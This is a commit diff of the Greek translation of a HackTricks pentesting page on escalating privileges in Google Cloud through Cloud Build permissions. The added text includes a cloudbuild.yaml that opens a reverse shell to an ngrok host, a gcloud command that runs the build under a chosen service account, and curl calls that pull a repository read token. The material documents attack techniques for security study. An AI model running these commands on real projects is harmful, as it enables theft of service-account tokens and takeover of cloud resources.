mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+22
-10
@@ -12,22 +12,34 @@
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Με αυτή την άδεια μπορείτε να **υποβάλετε μια κατασκευή cloud**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της από **προεπιλογή ένα διακριτικό του Service Account του cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **υποδείξετε οποιοδήποτε service account μέσα στο έργο** στη διαμόρφωση του cloudbuild.\
|
||||
Επομένως, μπορείτε απλά να κάνετε τη μηχανή να εξάγει το διακριτικό στον διακομιστή σας ή **να αποκτήσετε μια αντίστροφη σύνδεση μέσα σε αυτήν και να αποκτήσετε το διακριτικό** (το αρχείο που περιέχει το διακριτικό μπορεί να αλλάξει).
|
||||
Με αυτή την άδεια μπορείτε να **υποβάλετε μια κατασκευή cloud**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της **κατά προεπιλογή ένα διακριτικό του Service Account του cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **υποδείξετε οποιοδήποτε service account μέσα στο έργο** στη διαμόρφωση του cloudbuild.\
|
||||
Επομένως, μπορείτε απλά να κάνετε τη μηχανή να εξάγει το διακριτικό στον διακομιστή σας ή **να αποκτήσετε μια αντίστροφη θήκη μέσα σε αυτήν και να αποκτήσετε το διακριτικό** (το αρχείο που περιέχει το διακριτικό μπορεί να αλλάξει).
|
||||
|
||||
Μπορείτε να βρείτε το αρχικό σενάριο εκμετάλλευσης [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από την οποία παίρνει το διακριτικό δεν λειτούργησε για μένα). Επομένως, ελέγξτε ένα σενάριο για να αυτοματοποιήσετε τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα σενάριο python για να αποκτήσετε μια αντίστροφη σύνδεση μέσα στη μηχανή cloudbuild και [**να το κλέψετε εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να υποδείξετε άλλα service accounts)**.**
|
||||
#### Άμεση εκμετάλλευση μέσω gcloud CLI
|
||||
|
||||
1- Δημιουργήστε το `cloudbuild.yaml` και τροποποιήστε το με τα δεδομένα του listener σας.
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- Ανεβάστε μια απλή κατασκευή χωρίς πηγή, το αρχείο yaml και καθορίστε το SA που θα χρησιμοποιηθεί στην κατασκευή:
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Χρησιμοποιώντας τη βιβλιοθήκη python gcloud
|
||||
Μπορείτε να βρείτε το αρχικό σενάριο εκμετάλλευσης [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από την οποία παίρνει το token δεν λειτούργησε για μένα). Επομένως, ελέγξτε ένα σενάριο για να αυτοματοποιήσετε τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα σενάριο python για να αποκτήσετε ένα reverse shell μέσα στη μηχανή cloudbuild και [**να το κλέψετε εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να καθορίσετε άλλους λογαριασμούς υπηρεσίας)**.**
|
||||
|
||||
Για μια πιο λεπτομερή εξήγηση, επισκεφθείτε [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
### `cloudbuild.builds.update`
|
||||
|
||||
**Πιθανώς** με αυτή την άδεια θα μπορείτε να **ενημερώσετε μια κατασκευή cloud και απλά να κλέψετε το διακριτικό του service account** όπως έγινε με την προηγούμενη άδεια (αλλά δυστυχώς κατά τη στιγμή της συγγραφής αυτού του κειμένου δεν μπόρεσα να βρω κανέναν τρόπο να καλέσω αυτή την API).
|
||||
|
||||
TODO
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **διακριτικό πρόσβασης ανάγνωσης** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
|
||||
Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **token πρόσβασης ανάγνωσης** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,7 +59,7 @@ curl -X POST \
|
||||
```
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
Με αυτή την άδεια μπορείτε να **λάβετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
|
||||
Με αυτή την άδεια μπορείτε να **πάρετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
|
||||
Reference in New Issue
Block a user